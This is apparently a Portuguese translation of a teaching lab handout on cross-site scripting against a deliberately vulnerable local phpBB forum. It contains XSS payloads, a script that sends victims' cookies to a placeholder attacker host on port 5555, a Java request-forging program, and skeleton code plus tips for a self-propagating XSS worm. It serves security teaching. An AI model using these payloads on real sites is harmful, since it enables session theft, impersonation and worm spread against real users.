Buscar

Vulnerabilidade XSS [Cross-Site Scripting (XSS) Laboratorio de Ataque ]

Prévia do material em texto

1 
Cross-Site Scripting (XSS) Laboratorio de Ataque 
 
Traduzido por: Roberto Mansano Francisco 
 
1 Visão Geral 
Cross-site scripting (XSS) é um tipo de vulnerabilidade comumente encontrados em aplicações 
web. Esta vulnerabilidade permite aos atacantes injetar código malicioso (por exemplo, 
programas de JavaScript) no navegador web da vítima. Usando este código malicioso, os 
atacantes podem roubar as credenciais (“Logins e senhas”) da vítima, tais como cookies. As 
políticas de controle de acesso (ou seja, a política de mesma origem) empregado pelo navegador 
para proteger essas credenciais podem ser contornadas através da exploração da vulnerabilidade 
XSS. Vulnerabilidades deste tipo podem potencialmente levar a ataques em larga escala. 
Para demonstrar o que os atacantes podem fazer através da exploração de vulnerabilidades XSS, 
criámos um sistema de envio de mensagens baseado na Web usando phpBB. Nós modificamos o 
software para introduzir uma vulnerabilidade de XSS neste sistema de envio de mensagens; esta 
vulnerabilidade permite que usuários postem qualquer mensagem arbitrária neste quadro, 
incluindo programas em JavaScript. Para explorar esta vulnerabilidade é necessário postar 
algumas mensagens maliciosas para o sistema de mensagens; os usuários que virem essas 
mensagens maliciosas vão se tornar vítimas. O objetivo dos atacantes é postar mensagens 
forjadas para as vítimas. 
 
2 Laboratório de Ambiente 
Neste laboratório, vamos precisar de três coisas: (1) o navegador Firefox web, (2) o servidor web 
Apache, e (3) a aplicação web “Message Board” phpBB. Para o navegador, é preciso usar a extensão 
para o Firefox LiveHTTPHeaders para inspecionar as solicitações e respostas HTTP. (Baixe o Navegador 
firefox e instale a extensão) 
Iniciando o Apache Server. O servidor Web Apache não é iniciado por padrão. Você tem que primeiro 
iniciar o servidor web usando um dos dois comandos a seguir: 
% sudo apache2ctl start ou 
% sudo service apache2 start 
Configurando DNS. Esta URL só é acessível de dentro da máquina que você esta, porque modificamos o 
arquivo /etc/hosts para mapear o nome de domínio (www.xsslabphpbb.com) para o endereço IP local da 
máquina virtual (127.0.0.1). Você pode mapear qualquer nome de domínio para um endereço de IP em 
particular usando o /etc/hosts. Por exemplo, você pode mapear http://www.example.com para o 
endereço IP local, anexando a seguinte entrada ao arquivo /etc/hosts: 
 127.0.0.1 www.example.com 
Portanto, se o seu servidor web e o navegador estiver executando em máquinas diferentes, você precisa 
modificar o /etc/hosts na máquina do navegador de acordo com o mapa www.xsslabphpbb.com para o 
endereço IP do servidor web. 
 2 
Configurando o Apache Server. Usamos um servidor Apache para hospedar todos os web sites 
usados no laboratório. O recurso de hospedagem virtual baseada em Apache pode ser usado para 
hospedar vários sites (ou URLs) na mesma máquina. Um arquivo de configuração denominado 
padrão no diretório "/etc/apache2/sites-available" contém as diretrizes necessárias para a 
configuração: 
 
1. A diretiva "NameVirtualHost *" instrui o servidor web para usar todos os endereços IP na máquina 
(algumas máquinas pode ter vários endereços IP). 
2. Cada site tem um bloco VirtualHost que especifica a URL para o web site e diretório no sistema de 
arquivo que contém as fontes para o web site. Por exemplo, para configurar um site com URL 
http://www.example1.com com fontes no diretório /var/www/Example_1/ e para configurar um 
site com URL http://www.example2.com com fontes no diretório /var/www/Example_2/, usamos 
os seguintes blocos: 
<VirtualHost *> 
ServerName http://www.example1.com 
DocumentRoot /var/www/Example_1/ 
</VirtualHost> 
<VirtualHost *> 
ServerName http://www.example2.com 
DocumentRoot /var/www/Example_2/ 
</VirtualHost> 
Você pode modificar o aplicativo Web, acessando os diretórios mencionados. Por exemplo, com a 
configuração acima, o aplicativo web http://www.example1.com pode ser alterado modificando as fontes 
no diretório /var/www/Example_1 /.. 
Outro software. Algumas das tarefas do laboratório exigem alguma familiaridade básica com 
JavaScript. Sempre que necessário, nós fornecemos um programa de JavaScript de exemplo 
para ajudar os alunos a começar. Os alunos podem necessitar de um Script para 
assistir(“Escutar”) as solicitações de entrada em uma porta TCP particular. Nós fornecemos um 
programa em C que pode ser configurado para escutar em uma porta específica e exibir 
mensagens recebidas. O programa C pode ser baixado a partir do site para este laboratório. 
 
Nota para Instrutores 
 
Este laboratório pode ser realizada em um ambiente de laboratório supervisionado. Nesse caso, 
o instrutor pode fornecer as seguintes informações básicas para os alunos antes de fazer o 
laboratório: 
1. Como usar a máquina virtual, navegador web Firefox, e a extensão LiveHTTPHeaders. 
 3 
2. Noções básicas de JavaScript e objeto XMLHttpRequest. 
3. Uma breve visão geral das tarefas. 
4. Como utilizar o programa C que escuta em uma porta. 
5. Como escrever um programa java para enviar uma mensagem de correio HTTP. 
3 Tarefas de Laboratório 
3.1 Tarefa 1: Publicando uma mensagem maliciosa para exibir uma janela de alerta 
 
O objectivo desta tarefa é para enviar uma mensagem maliciosa que contém JavaScript 
para exibir uma janela de alerta. O JavaScript deve ser fornecida juntamente com os 
comentários do usuário na mensagem. O seguinte JavaScript exibirá uma janela de alerta: 
<script>alert(’XSS’);</script> 
Se você postar este JavaScript junto com seus comentários no quadro de mensagens, então qualquer 
usuário que ver este comentário verá a janela de alerta. 
3.2 Tarefa 2: Publicando uma mensagem maliciosa para exibir cookies 
 
O objectivo desta tarefa é para enviar uma mensagem maliciosa no quadro de mensagens 
contendo um código JavaScript, de tal forma que, sempre que um usuário ver esta 
mensagem, os cookies do usuário será impresso. Por exemplo, considere a seguinte 
mensagem que contém um código JavaScript: 
 
<script>alert(document.cookie);</script> 
Hello Everybody, Welcome to this message board. 
Quando um usuário visualizar esta mensagem, ele/ela vai ver uma caixa de mensagem pop-up que 
exibe os cookies do usuário. 
 4 
3.3 Tarefa 3: Roubar cookies de máquina da vítima 
 
Na tarefa anterior, o código JavaScript malicioso pode imprimir os cookies do usuário; 
nesta tarefa, o atacante quer que o código JavaScript envie os cookies para o ele/ela. Para 
conseguir isso, o código JavaScript malicioso pode enviar uma solicitação HTTP para o 
atacante, com os cookies em anexo ao pedido. Nós podemos fazer isso por ter o 
JavaScript malicioso inserindo uma tag <img> com o src definido para o URL de destino do 
atacante. Quando o JavaScript insere a tag img, o navegador tenta carregar a imagem a 
partir da URL mencionada e no processo acaba enviando uma solicitação HTTP GET para o 
site atacante. O JavaScript dado abaixo envia estes cookies para a porta 5555 na máquina 
do atacante. Na porta particular, o atacante tem um servidor TCP que simplesmente 
imprime o pedido que recebe. O programa servidor TCP vai ser dado a você (disponível no 
site deste laboratório). 
 
Hello Folks, 
<script>document.write(’<img src=http://attacker_IP_address:5555?c=’ 
+ escape(document.cookie) + ’ >’); </script> This script is to test XSS. 
Thanks. 
 5 
3.4 Tarefa 4: A representação da vítima usando o Stolen cookies 
 
Depois de roubar os cookies da vítima, o atacante pode fazer o que a vítima pode fazer para 
o servidor web phpBB, incluindo publicar uma nova mensagem em nome da vítima,excluir 
um post da vítima, etc. Nesta tarefa, vamos escrever um programa para forjar uma 
mensagem em nome da vítima. 
Para forjar um post mensagem, devemos primeiro analisar como phpBB funciona em termos 
de postar mensagens. Mais especificamente, o nosso objectivo é descobrir o que são 
enviados para o servidor quando um usuário envia uma mensagem. O LiveHTTPHeaders 
extensão do Firefox pode nos ajudar; ele pode exibir o conteúdo de qualquer mensagem de 
solicitação HTTP enviadas a partir do browser. A partir do conteúdo, que pode identificar 
todos os parâmetros da mensagem. Uma captura de tela do LiveHTTPHeaders é dada na 
Figura 1. A extensão LiveHTTPHeaders pode ser baixado no 
http://livehttpheaders.mozdev.org/ 
Uma vez que tenhamos entendido o que a solicitação HTTP para a mensagem postagem 
parece, podemos escrever um programa em Java para enviar o mesmo pedido HTTP. O 
servidor phpBB não pode distinguir se o pedido é enviado pelo navegador do usuário ou 
pelo programa Java do atacante. Se nós configurarmos todos os parâmetros corretamente, 
o servidor irá aceitar e processar a solicitação HTTP-postando mensagem. Para simplificar a 
sua tarefa, nós fornecemos-lhe com um programa java amostra que faz o seguinte: 
1. Abre uma conexão com o servidor web. 
2. Define as informações de cabeçalho HTTP necessárias. 
3. Envia o pedido para o servidor web. 
4. Obtém a resposta do servidor web. 
 6 
import java.io.*; import 
java.net.*; 
public class HTTPSimpleForge { 
public static void main(String[] args) throws IOException { try { int responseCode; 
InputStream responseIn=null; 
// URL to be forged. 
URL url = new URL ("http://www.xsslabphpbb.com/profile.php"); 
// URLConnection instance is created to further parameterize a // resource request past what 
the state members of URL instance // can represent. 
URLConnection urlConn = url.openConnection(); if (urlConn 
instanceof HttpURLConnection) { 
urlConn.setConnectTimeout(60000); urlConn.setReadTimeout(90000); 
} 
 7 
// addRequestProperty method is used to add HTTP Header Information. 
// Here we add User-Agent HTTP header to the forged HTTP packet. urlConn.addRequestProperty("User-
agent","Sun JDK 1.6"); 
//HTTP Post Data which includes the information to be sent to the server. String 
data="username=admin&seed=admin%40seed.com"; 
// DoOutput flag of URL Connection should be set to true // to send HTTP POST 
message. urlConn.setDoOutput(true); 
// OutputStreamWriter is used to write the HTTP POST data // to the url connection. 
OutputStreamWriter wr = new OutputStreamWriter(urlConn.getOutputStream()); wr.write(data); wr.flush(); 
// HttpURLConnection a subclass of URLConnection is returned by // url.openConnection() 
since the url is an http request. 
if (urlConn instanceof HttpURLConnection) { 
HttpURLConnection httpConn = (HttpURLConnection) urlConn; 
// Contacts the web server and gets the status code from // HTTP Response 
message. responseCode = httpConn.getResponseCode(); 
System.out.println("Response Code = " + responseCode); 
// HTTP status code HTTP_OK means the response was // received 
sucessfully. if (responseCode == HttpURLConnection.HTTP_OK) { 
// Get the input stream from url connection object. responseIn = 
urlConn.getInputStream(); 
// Create an instance for BufferedReader // to read the 
response line by line. 
BufferedReader buf_inp = new BufferedReader( new 
InputStreamReader(responseIn)); 
String inputLine; 
while((inputLine = buf_inp.readLine())!=null) { System.out.println(inputLine); 
} 
} 
} 
} catch (MalformedURLException e) { 
e.printStackTrace(); 
} 
} 
} 
Se você tem dificuldade para entender o programa acima, sugerimos que você leia o seguinte:: 
• JDK 6 Documentation: http://java.sun.com/javase/6/docs/api/ 
• Java Protocol Handler: 
 8 
http://java.sun.com/developer/onlineTraining/protocolhandlers/ Limitação: O post da mensagem 
forjada deve ser gerado a partir da mesma máquina virtual, ou seja, a vítima (usuário conectado 
ao forum web) e o atacante (aquele que gera a mensagem forjada) deve ser na mesma máquina 
porque phpBB usa o endereço IP e os cookies para gerenciamento de sessão. Se o atacante gera a 
mensagem forjada a partir de uma máquina diferente, o endereço IP do pacote forjado e 
endereço IP da vítima seriam diferentes e, portanto, o post ou mensagem forjada seriam 
rejeitados pelo servidor phpBB, apesar da mensagem forjada carregar as informações do cookie 
correto. 
3.5 Tarefa 5: Escrever um worm XSS 
 
Na tarefa anterior, aprendemos como roubar os cookies da vítima e depois forjar solicitações 
HTTP que usam os cookies roubados. Nesta tarefa, precisamos escrever um JavaScript malicioso 
para forjar uma solicitação de HTTP diretamente do navegador da vítima. Este ataque não 
requer a intervenção do atacante. O JavaScript que pode conseguir isso é chamado de um 
verme scripting cross-site(“cross-site scripting worm”). Para esta aplicação web, o worm 
programa deve fazer o seguinte: 
1. Recuperar o ID da sessão do usuário usando JavaScript. 
2. forjar uma solicitação HTTP POST para enviar uma mensagem usando a identificação da sessão. 
Existem dois tipos comuns de solicitações HTTP, uma é o HTTP GET, e o outra é HTTP POST. Estes 
dois tipos de solicitações HTTP diferem na forma como enviar o conteúdo do pedido para o servidor. Em 
phpBB, o pedido de enviar uma mensagem usa solicitação HTTP POST. Nós podemos usar o objeto 
XMLHttpRequest para enviar solicitações HTTP GET e POST para aplicações web. XMLHttpRequest só 
pode enviar solicitações HTTP de volta para o servidor, em vez de outros computadores, porque a 
política de mesma origem é fortemente exercida por XMLHttpRequest. Este não é um problema para 
nós, porque nós queremos usar XMLHttpRequest para enviar uma solicitação HTTP POST forjado volta 
para o servidor phpBB. Para saber como usar XMLHttpRequest, você pode estudar estes documentos 
citados [1,2]. Se você não estiver familiarizado com a programação JavaScript, sugerimos que você lê [3] 
para aprender algumas funções JavaScript básicos. Você terá que usar algumas dessas funções: 
Você também pode precisar depurar o código JavaScript. O Firebug é uma extensão do Firefox que ajuda 
a depurar o código JavaScript. Pode apontar-lhe os lugares precisos que contêm erros. FireBug pode ser 
baixado do https://addons.mozilla.org/en-US/firefox/addon/1843. 
Esqueleto código. Nós fornecemos um esqueleto do código JavaScript que você precisa para 
escrever. Você precisa preencher todos os detalhes necessários. Quando você incluir o código final 
JavaScript na mensagem enviada para a placa da mensagem phpBB, você precisa remover todos os 
comentários, espaço extra, e caracteres de nova linha. 
 9 
<script> var 
Ajax=null; 
// Construct the header information for the Http request 
Ajax=new XMLHttpRequest(); 
Ajax.open("POST","http://www.xsslabphpbb.com/posting.php",true); 
Ajax.setRequestHeader("Host","www.xsslabphpbb.com"); 
Ajax.setRequestHeader("Keep-Alive","300"); 
Ajax.setRequestHeader("Connection","keep-alive"); 
Ajax.setRequestHeader("Cookie",document.cookie); 
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); 
// Construct the content. The format of the content can be learned 
// from LiveHttpHeader. All we need to fill is subject, message, and sid. var content="subject=" + 
"XSSWorm" + ...; // You need to fill in the details. 
// Send the HTTP POST request. 
Ajax.send(content); 
</script> 
Para fazer seu worn funcionar , devemos prestar atenção à forma como as informações do ID de 
sessão é usado por phpBB. Desde a saída da extensão LiveHTTPHeaders, podemos notar que sid aparece 
duas vezes na solicitação de mensagem-postagem. Um deles é na seçãode cookie (que é chamado 
phpbb2mysqlsid). Portanto, a solicitação HTTP POST enviada pelo XMLHttpRequest também deve incluir 
o cookie. Nós já fizemos isso para você no código esqueleto acima. 
Se olharmos atentamente para a saída LiveHTTPHeaders, podemos ver que o mesmo ID de sessão 
também aparece na linha que começa com "subject =". O servidor phpBB utiliza o ID de sessão aqui para 
impedir que outro tipo de ataque (ou seja, o cross-site request forgery ataque). No nosso pedido de 
mensagem-postagem forjadas, também precisamos adicionar essa informação id da sessão; o valor 
deste id de sessão é exatamente a mesma que em phpbb2mysqlsid. Sem este id de sessão no pedido, o 
pedido será rejeitado pelo servidor. 
A fim de recuperar as informações sid do cookie, você pode precisar de aprender algumas operações de 
String em JavaScript. 
 
 10 
3.6 Tarefa 6: Escrevendo um worn de auto-propagação XSS 
 
O worm construído na tarefa anterior só forja uma mensagem em nome das vítimas; não se 
propaga. Portanto, tecnicamente falando, não é um verme. Para ser capaz de se propagar, a 
mensagem forjada também deve incluir um verme, para que sempre que alguém clicar na 
mensagem forjada, uma nova mensagem forjada que carregam o mesmo worm irá ser 
criado. Desta forma, o worn pode ser propagado. Quanto mais as pessoas clicam nas 
mensagens forjadas, mais rápido o worm pode propagar. 
Nesta tarefa, você precisa expandir o que você fez na Tarefa 5, e adicionar uma cópia do 
worm para o corpo da mensagem forjada. As diretrizes a seguir irá ajudá-lo com a tarefa: 
1. O programa JavaScript que envia a mensagem forjada já faz parte da página da web. Portanto, o 
código worn pode usar APIs DOM para recuperar uma cópia de si mesmo a partir da página web. 
Um exemplo do uso de APIs DOM é dado abaixo. Este código obtém uma cópia de si mesmo, e é 
exibido em uma janela de alerta: 
<script id=worm> var strCode = document.getElementById("worm"); 
alert(strCode.innerHTML); 
</script> 
2. URL Encoding: Todas as mensagens transmitidas utilizando HTTP com o uso da Internet URL 
Encoding, que converte todos os caracteres não-ASCII, como espaço para código especial sob o 
esquema de codificação de URL. No código do worm, mensagens a serem postadas no fórum 
phpBB deve ser codificados usando a codificação de URL. A função de escape pode ser utilizado 
para codificar uma String de URL. Um exemplo do uso da função de codificação é dada abaixo. 
<script> var strSample = "Hello World"; var urlEncSample = escape(strSample); 
alert(urlEncSample); 
</script> 
3. Sob o esquema de codificação de URL o símbolo "+" é utilizada para designar o espaço. Em 
programas JavaScript, "+" é usado tanto para operações aritméticas e operações de concatenação 
de strings. Para evitar esta ambiguidade, você pode usar a função concat para concatenação de 
strings, e evitar o uso disso. Para o código do worm no exercício, você não tem que usar adições. 
Se você tem que adicionar um número (por exemplo, a + 5), você pode usar subtração (por 
exemplo, a - (- 5)). 
Referências 
[1] AJAX for n00bs. Available at the following URL: http://www.hunlock.com/blogs/AJAX_for_n00bs. 
[2] AJAX POST-It Notes. Available at the following URL: http://www.hunlock.com/blogs/AJAX_POST-It_Notes. 
[3] Essential Javascript – A Javascript Tutorial. Available at the following URL: 
http://www.hunlock.com/blogs/Essential_Javascript_--_A_Javascript_Tutorial. 
 11 
[4] Referências sobre JavaScripts completas. Disponiveis em URL: 
http://www.hunlock.com/blogs/The_Complete_Javascript_Strings_Reference. 
http://www.xsslabphpbb.com/posting.php 
POST /posting.php HTTP/1.1 
Host: www.xsslabphpbb.com 
User-Agent: Mozilla/5.0 (X11; U; Linux i686; 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-us,en;q=0.5 
Accept-Encoding: gzip,deflate 
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 
Keep-Alive: 300 
Connection: keep-alive 
Referer: http://www.xsslabphpbb.com/posting.php?mode=newtopic&f=1 Cookie: 
phpbb2mysql_data=......;phpbb2mysql_sid=...... 
Content-Type: application/x-www-form-urlencoded Content-Length: 376 
subject=<Content of the message> 
HTTP/1.x 200 OK 
Date: Thu, 11 Jun 2009 19:43:15 GMT 
Server: Apache/2.2.11 (Ubuntu) PHP/5.2.6-3 
X-Powered-By: PHP/5.2.6-3ubuntu4.1 
Set-Cookie: phpbb2mysql_data=XXXXXXXXXXX; expires=Fri, GMT; path=/ 
Set-Cookie: phpbb2mysql_sid=YYYYYYYYY; path=/ 
Set-Cookie: phpbb2mysql_t=XXXXXXXXXXX; path=/ 
Cache-Control: private, pre-check=0, post-check=0, max-age=0 
Expires: 0 
Pragma: no-cache 
Vary: Accept-Encoding 
Content-Encoding: gzip 
Content-Length: 3904 
Keep-Alive: timeout=15, max=100 
Connection: Keep-Alive 
Content-Type: text/html 
Figure 1: Screenshot of LiveHTTPHeaders Extension

Outros materiais

Perguntas relacionadas

Perguntas Recentes